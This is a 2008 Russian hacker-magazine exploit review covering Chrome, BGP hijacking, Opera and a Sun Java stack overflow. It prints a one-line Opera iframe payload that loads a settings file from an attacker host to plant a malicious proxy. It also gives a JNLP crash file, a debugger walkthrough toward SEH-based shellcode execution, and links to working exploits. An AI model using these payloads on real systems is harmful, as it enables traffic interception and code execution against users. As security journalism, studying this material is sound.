Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #118, ОКТЯБРЬ 2008 г.

Обзор эксплойтов

Крис Касперски

С началом осени хакеры вернулись из мест не столь отдаленных (морей, лесов, степей и прочее). А тут Google подогнала свежий браузер Chrome (перехаченный FireFox), рвущий IE, как Тузик грелку (по количеству обнаруженных дыр). В это же время Крис Вебер вместе с Крисом Касперски обнаружили и обосновали принципиально новый тип атак. Они продемонстрировали его на подопытной Sun Java, сорвав ей крышу необычным стековым переполнением.

Google Chrome – множественные уязвимости

Brief

Поздравляем! На рынке браузеров появился новый игрок — Google Chrome, созданный на базе движка изуродованного FireFox с упрощенным интерфейсом, ориентированным то ли на сексуальное меньшинство, то ли на интеллектуальное большинство. И, конечно же, самым главным козырем в продвижении на рынок стала безопасность. Цитирую официальное средство личной гигиены: «Google Chrome – это браузер, обеспечивающий более удобную, быструю и безопасную работу в интернете». Такое впечатление, что любой вновь созданный программный продукт автоматически объявляется более безопасным, даже если это сырая бета-версия, никем не протестированная. За первые недели эксплуатации браузера хакеры обнаружили в нем десятка два дыр, половина из которых критическая (допускает удаленный захват управления с выполнением произвольного shell-кода). Все exploit'ы выложены в открытый доступ, но Google по-прежнему продолжает утверждать, что их браузер – более безопасный и корректировать содержимое рекламной странички, по-видимому, не собирается. Ладно, это лирика. Перейдем к конкретным дырам.

Функция «SaveAs» не проверяет длину тэга «Title», высаживаясь на классическое стековое переполнение с передачей управление на shell-код или просто с крахом браузера. Обработка IMG-тегов также не свободна от ошибок, и хотя пока неясно, каким образом можно захватить управление, вызывать отказ в обслуживании хакеры уже научились. И это еще ничего. Chrome наступил на те же грабли, что и древние версии IE, предоставив атакующему возможность загружать файлы на целевой компьютер без выдачи запроса на подтверждение (обычная практика — загрузка ярлыков на рабочий стол с одновременной заливкой зловредной программы, на которую, собственно говоря, и указывает ярлык). Рано или поздно по нему кто-нибудь да щелкнет, а если пользователь настолько продвинут, что тут же удалит левый ярлык, то хакер может использовать переполнение буфера в URL, HREF или одну из других дыр, полный список которых занимает добрый талмуд. Интересующихся техническими подробностями мы отправляем к следующим ссылкам: www.securityfocus.com/bid/31029, www.securityfocus.com/bid/30975, www.securityfocus.com/bid/31038.

Targets

Разные дыры затрагивают разные версии браузера (появляются чуть ли не каждый божий день). Основной косяк уязвимостей сидит в Google Chrome 0.2.149 27. Более поздние версии менее уязвимы.

Exploits

Боевой exploit, эксплуатирующий дыру в SaveAs, лежит на milw0rm.com/sploits/2008-chrome.tgz, а рядышком с ним — exploit для автоматической загрузки файлов на целевую машину: www.milw0rm.com/exploits/6355.

Solution

Несмотря на то, что Google довольно оперативно затыкает дыры, выпуская новые версии, пользоваться ими категорически не рекомендуется. Ну разве что в ознакомительных целях на виртуальной машине, на которой нет ничего ценного, что было бы жалко потерять.

Восставшие из мертвых — атаки на BGP протокол

Brief

Мы уже рассказывали о том, как Дэн Каминский лихо «переоткрыл» три дыры десятилетней давности в DNS, приковав внимание прессы и производителей самих DNS. Пример оказался заразительным (действительно, зачем искать новые дыры, когда можно кричать о хорошо забытых старых?). На последнем DefCon'е Тони Капела (Tony Kapela, компания 5Nines Data) на пару с Алексом Пилосовым (Alex Pilosov, компания Pilosoft), шокировали общественность, продемонстрировав технику перехвата Internet-трафика путем атаки на BGP-протокол, незащищенность которого позволяет человеку, сидящем, скажем, в юрте на Чукотке, перехватывать трафик между Бостоном и Сан-Франциско (blog.wired.com/27bstroke6/files/edited-iphd-2.ppt).

Реализация атаки тривиальна, а защититься от нее... ну, не то, чтобы совсем невозможно, но очень и очень сложно. Вектор направлен отнюдь не на конечных пользователей, а на крупных (и мелких) ISP, передающих трафик, среди которых есть и такие, что плюют на безопасность. Причем, плюют в планетарных масштабах. Яркий пример тому — нашумевший скандал с Пакистанским провайдером Pakistan Telecom, который под давлением правительства попытался запретить своим гражданам втыкать в YouTube и «слегка» захачил BGP-таблицы маршрутизации. В результате чего без YouTub'а остались миллионы пользователей, находящихся вне Пакистана. Все очень просто — захаченные таблицы маршрутизации сделали Pakistan Telecom самым привлекательным роутером для передачи трафика. И YouTube, и Pakistan Telecom превратились в черную дыру, стягивающую трафик со всего мира (news.bbc.co.uk/1/hi/technology/7262071.stm, www.ripe.net/news/study-youtube-hijacking.html). Действительно, тут есть от чего выпасть в осадок, сесть на измену и нереально испугаться. Но впервые об этой дыре открыто заговорили в далеком 1998 году (www.cs.columbia.edu/~smb/papers/acsac-ipext.pdf). С тех пор прошел добрый десяток лет и... ничего! Живем! «Изюминка» Тони и Алекса состояла в том, что они предложили не просто направлять трафик в устройство /dev/nul, как это делал Pakistan Telecom, а возвращать его (возможно, в слегка модифицированном виде) конечному пользователю, открывая огромные перспективы для шпионажа. Во всяком случае, на бумаге. А в реальной жизни? Начнем с того, что IP-протокол поддерживает маршрутизацию только в умах студентов первого курса. На самом деле, маршрутизацией (то есть, поиском оптимальной траектории пересылки пакетов между узлами и предотвращением закольцовывания) занимается толпа вспомогательных протоколов. Большинство из них работают ниже TCP/IP (и потому совершенно «прозрачны» и недоступны для атаки).

Однако, протокол BGP (Border Gateway Protocol, «Протокол Граничного Шлюза») работает поверх IP (в частности, BGP over TCP использует порт 179), а потому доступен для атаки из любой точки Сети. Роутеры содержат таблицы маршрутизации, принимающие данные от других роутеров без всякой авторизации! Любой узел может объявить себя роутером, сообщающим всем остальным о себе и о тех узлах, которым он готов доставить трафик. Причем, если целевому узлу берутся доставить трафик более одного роутера, то выбирается роутер, обслуживающий более узкий диапазон адресов. Что очень хорошо для атакующих — представиться маленьким роутером проще, чем большим и могучим. Однако представиться роутером все равно не так просто! Придется либо регистрироваться в Internet Assigned Numbers Authority (IANA), либо заниматься подменой IP-адресов, либо искать роутеры, принимающие BGP-пакеты от кого угодно. А потому, осуществить такую атаку может только сравнительно крупный ISP (типа Pakistan Telecom), но никак не Вася Пупкин.

Targets

World wide

Exploit

Не требуется, достаточно установить BSD (она поддерживает BGP) и настроить ее в режиме роутера.

Solution

Провайдерам: установить фильтр BGP-пакетов и резать всех, кто не входит в заранее сформированный список доверенных узлов.

Opera – множественные ошибки

Brief

Opera по праву считается самым защищенным браузером, практически свободным от ошибок. Но отсутствие ошибок – вовсе не следствие качества кода, а, главным образом, недостаток внимания. Опера достаточно популярна в Европе, но практически неизвестна на Западе, а потому хакеры долгое время обходили ее стороной. Естественно, такой стихийный «мораторий» не мог продолжаться бесконечно, и новый релиз Oper'ы 9.52 исправляет сразу семь ошибок, среди которых есть и отказ в обслуживании, и фишинг, и кросс-скриптинг, и, в общем, много чего. Полный перечень ошибок содержится на официальном сайте (www.opera.com/docs/changelogs/windows/952), так что не будем повторяться. Наибольший интерес (и наивысшую опасность) представляет ошибка обработки протоколов, позволяющая вызывать Оперу, передав ей в командной строке любой файл – например, файл настроек самой Оперы, загружаемый с удаленного хакерского узла. Как нетрудно сообразить, в файле настроек прописано буквально все и вся. В частности, там можно найти адрес proxy-сервера. Хорошая идея — навязать жертве свой собственный Proxy, перехватывая трафик и модифицируя его по своему усмотрению (внедряя троянов в скачиваемые жертвой исполняемые файлы и т.д.). Технические подробности можно найти на блоге первооткрывателя, пожелавшего остаться неизвестным и скрывающегося за псевдонимом Billy (BK) Rios — xs-sniper.com/blog/2008/08/22/opera-stuff-followup.

Targets

Opera 9.51 и более младшие версии.

Exploit

Исходный текст exploit'а состоит из одной строки, приведенной ниже. Атакующему достаточно всего лишь внедрить ее в HTML-страничку и заманить туда доверчивого пользователя.

<iframe src = 'opera.protocol:www.test.com" /settings "//attacker-ip/ini-file.ini '>

Solution

Обновиться до версии 9.52 – http://www.opera.com/products/desktop.

Старые атаки на новый лад

Brief

17 августа 2008 года, в 7 часов 16 минут по Стандартному Тихоокеанскому Времени я получил от Криса Вебера (Chris Weber, Casaba Security) письмо, в котором тот сообщил о найденной дыре в Sun Java 14.3 for Windows. Обнаружена она была в ходе фуззинга Джавы, завершившегося переполнением стека с отказом в обслуживании. Конечно, это очень интересно, но передача управления на shell-код намного круче! Вот только как ее осуществить? С позиции классической теории переполнения буферов — никак! Короче, совместными усилиями мы быстро нашли ответ, попутно усовершенствовав технику атаки под кодовым называнием «stack crossover» и обнаружив в ядре Windows кучу сюрпризов, о которых я до этого даже и не подозревал. В момент, когда пишутся эти строки, с дыры еще не снят гриф секретности. Alice Chang из Endeavor Security разрабатывает сигнатуры для распознавания и блокировки атак, а сам я работаю над докладом для конференции Microsoft BlueHat Security Briefings: Fall 2008 (technet.microsoft.com/en-us/security/cc748656.aspx), объясняя Империи Зла на сколько она не права. Тем временем Sun еще пребывает в неведении относительно небезопасности своей виртуальной машины, так что читатели «][акера» получают в свои лапы вполне эксклюзивный материал, правда, к моменту выхода журнала из печати, это будет уже не новость.

Target

Огромное количество приложений! Sun Java 14.3 – лишь одно из многих.

Exploit

Исходный текст exploit'а, разработанного Крисом Вебером, приведен ниже:

Exploit, вызывающий переполнение стека в Sun Java 14.3, разработанный Крисом Вебером

<?xml version="1.0" encoding="utf-8"?>
<!-- JNLP File for Fuzzing -->
<jnlp
spec=""
codebase=""
href="">

<resources>
<j2se version="" href=""/>
<property name="" value=""/>
<jar href="" download=""/>
<nativelib href="&&&&&&&&&&&&&&&&&&&…AAAAAAAAAAAA" download=""/>
</resources>

</jnlp>

Solution

Необходим тщательный аудит и существенный редизайн всех существующих приложений. Даже тех, которые не обращаются в Сеть, поскольку атаки этого типа способны воздействовать на соседние (уязвимые) приложения через неуязвимые, имеющие доступ к Сети. Короче говоря, все мы сидим на пороховой бочке.

Full disclose

Берем Жабу (фу-ты, какая гадость!). Аккуратно так, значит, мы ее берем и передаем ей вышеуказанный exploit в качестве аргумента командной строки. Жаба тут же с грохотом рушится. С грохотом — потому что у меня на критические ошибки повешен звук разбивающегося стекла. В другом случае грохота может и не быть. Суть в том, что exploit рвет Жабу, как мыльный пузырь. Что не покажется удивительным, если заглянуть в машинный код. Ты увидишь, что Жаба в попытке разрешения символа «&» вызывает парсер в рекурсивном порядке. А поскольку символов «&» в коде exploit'а, как детей у матери-героини (и даже больше), – стековая память заканчивается прежде, чем Жабе удается распарсить строку href до конца.

Уж сколько раз твердили миру, что рекурсия — большое зло и без особой нужды ей лучше не злоупотреблять. Рекурсия без контроля глубины вложения и обработки исключений — тройное зло, приводящее к отказу в обслуживании, сопровождающемуся сбросом дампа памяти (если, конечно, Доктор Ватсон настроен должным образом – конфигурация по умолчанию нас вполне устроит, так что будем «плясать» от нее).

Полученный дамп следует загрузить в Microsoft Debugger, входящий в состав NTDDK и MS Debugging Tools (последний занимает порядка десяти метров и распространяется бесплатно). Утилита cdb.exe представляет собой консольную репрезентацию отладчика. Ключ -z указывает, что следующий за нам файл является дампом памяти:

Первичный анализ дампа памяти, сброшенного Жабой сразу же после смерти

$cdb.exe -z javaws.dmp

Microsoft (R) Windows Debugger Version 6.3.0011.2
Copyright (c) Microsoft Corporation. All rights reserved.

Loading Dump File [L:\javaws.dmp]
User Mini Dump File: Only registers, stack and portions of memory are available

Windows XP Version 2600 (Service Pack 3) MP (2 procs) Free x86 compatible
Product: WinNt, suite: SingleUserTS
Debug session time: Thu Sep 04 02:41:33 2008
System Uptime: not available
Process Uptime: 0 days 0:00:56.000
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path. *
* Use .symfix to have the debugger choose a symbol path. *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
..................................................
(2d8.6dc): Stack overflow - code c00000fd (!!! second chance !!!)
eax=419ea938 ebx=00000000 ecx=26a73248 edx=00000000 esi=00000001 edi=26a73248
eip=009aa2b0 esp=03425fdc ebp=03426018 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283
009aa2b0 89842400d0ffff mov [esp-0x3000],eax ss:0023:03422fdc=????????

Как мы видим, это действительно переполнение стека (в смысле, исчерпание стековой памяти), на что указывает код исключения C00000FDh. А что означают слова «!!! second chance !!!»? Как мы уже писали в 14-м выпуске exploit overview, исключение C00000FDh генерируется системой задолго до исчерпания стековой памяти, когда остается еще целых три страницы. Две из которых выделяются под нужды обработчика исключения, а последняя (с атрибутами PAGE_NOACCESS) используется в качестве защитного барьера, чтобы остановить рост стека и предотвратить вторжение в стековое пространство постороннего потока или кучу. В общем, в область памяти, находящуюся за границами стека.

Команда «k» предписывает отладчику отобразить состояние стека на момент выброса исключения. Посмотрим, что у нас там.

Состояние стека на момент выброса исключения

0:014> k
*** WARNING: Unable to verify timestamp for ntdll.dll
*** ERROR: Module load completed but symbols could not be loaded for ntdll.dll
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
03426018 009c935c 0x9aa2b0
034260e8 009c9398 0x9c935c
034261b8 009c9398 0x9c9398
03426288 009c9398 0x9c9398
03426358 009c9398 0x9c9398
03426428 009c9398 0x9c9398
034264f8 009c9398 0x9c9398
034265c8 009c9398 0x9c9398
03426698 009c9398 0x9c9398
03426768 009c9398 0x9c9398
03426838 009c9398 0x9c9398
03426908 009c9398 0x9c9398
034269d8 009c9398 0x9c9398
03426aa8 009c9398 0x9c9398
03426b78 009c9398 0x9c9398
03426c48 009c9398 0x9c9398
03426d18 009c9398 0x9c9398
03426de8 009c9398 0x9c9398
03426eb8 009c9398 0x9c9398
03426f88 009c9398 0x9c9398

Ага, адрес возврата всюду (за исключением самой верхней строки) указывает на одну и ту же функцию, вызываемую рекурсивно. Собственно говоря, это нам и требовалось доказать. Дело за малым — разобраться, каким образом мы можем передать управление на shell-код. В обычных условиях такое действительно невозможно: стековое исключение генерируется, когда у системы в запасе имеется целых три страницы, а каждая страница — это целых 4 Кб. Даже если за концом стека потока А находится стек потока Б (как чаще всего и бывает) и на дне стека потока Б лежит указатель на SEH-обработчик (а он там лежит), – в нормальных программах до него никакой рекурсивной функции не дотянуться!

Но нам везет. И не просто везет, а фантастически! Согласно показаниям отладчика, исключение вызывается машинной инструкций mov [esp-0x3000], eax, записывающей содержимое EAX по смещению 0x3000 выше текущей позиции указателя вершины стека. Что в точности равно трем страницам. Конечно, трех страниц нам мало. Нам нужно три страницы и еще чуть-чуть, чтобы дотянуться до указателя на SEH. И это можно обеспечить! Достаточно подобрать длину «&&&» с последующими за ними символами «AAA» так, чтобы стековый кадр открывался по заданному смещению относительно нижней сторожевой страницы. Как именно это сделать уже описывалось в прошлой статье.

Остается выяснить, что именно туда записывается. Как нетрудно увидеть, старший байт регистра EAX равен 'A' (символу, содержащемуся в строке, вызывающей переполнение). Младшие байты смотрят в стек, вершина которого расположена где-то в районе 03xxxxxxh. То есть для достижения задуманного, необходимо заменить 'A' на символ с кодом 03h – и тогда Жаба окажется под нашей властью. На этом можно было бы и закончить, если бы не одно «но». При попытке практической реализации готового exploit'а мы с Крисом Вебером обнаружили одну очень интересную деталь.

Значение регистра ESP в момент краха (согласно показаниям отладчика) равно 03425FDCh, а размер стека по умолчанию составляет 1 Мб. Значит, у нас есть все основания ожидать, что вершина стека находится на уровне 03420000h, – очень далеко от наблюдаемых нами 03425FDCh. У нас в запасе имеется чертова уйма стековой памяти, а операционная система необъяснимым образом генерирует исключение, сигнализируя об исчерпании стека. Очень странно. Глюк? Или фича?

Отказывается, все-таки фича, даже документированная. Разведка доложила — ситуация детально описана в MSDN на странице msdn.microsoft.com/en-us/library/cc267849.aspx, где развернуто объясняется, что данное исключение может генерироваться в трех ситуациях:

  • а) когда стековой памяти действительно нет (в смысле, осталось всего три страницы);
  • б) когда полностью исчерпана виртуальная память и система не может выделить ни странички;
  • в) когда система начинает увеличивать файл подкачки.

В принципе, все логично. Если приложение запрашивает еще одну страницу стековой памяти, а памяти (общесистемной, а не стековой) у нас нет, то исключение представляется вполне разумной реакцией оси. Проблема в том, что по умолчанию система создает файл подкачки не очень большого размера (чтобы не отъедать дисковое пространство без надобности). А когда общесистемная виртуальная память (в которую входит не только стек, но и куча) близится к исчерпанию, система приступает к увеличению файла подкачки. На это требуется время (особенно на сильно фрагментированных дисков), и если оставшийся резерв памяти будет исчерпан прежде, чем система покончит с файлом подкачки, все последующие запросы на выделение памяти будут отклонены. Функция VirtualAlloc в этом случае просто вернет ноль, сигнализируя об ошибке – но вот попытка выделения новых стековых страниц породит неожиданное исключение, которое практически никто из программистов не обрабатывает!

Допустим, мы запускаем на целевом компьютере JavaScript, потребляющий огромное количество памяти. Тогда, если начальный размер файла подкачки меньше максимально допустимого (по умолчанию так оно и есть), один за другим начнут рушиться посторонние приложения, нуждающиеся в стеке, в том числе и системные! Хотя передать управление на shell-код таким способом невозможно, тотальный отказ в обслуживании вызывается без проблем!

Резюмируя вышесказанное — дыру в Жабе можно эксплуатировать только на системах с достаточным количеством виртуальной памяти или с уже увеличенным файлом подкачки. В противном случае, дело ограничится простым крахом.

Содержание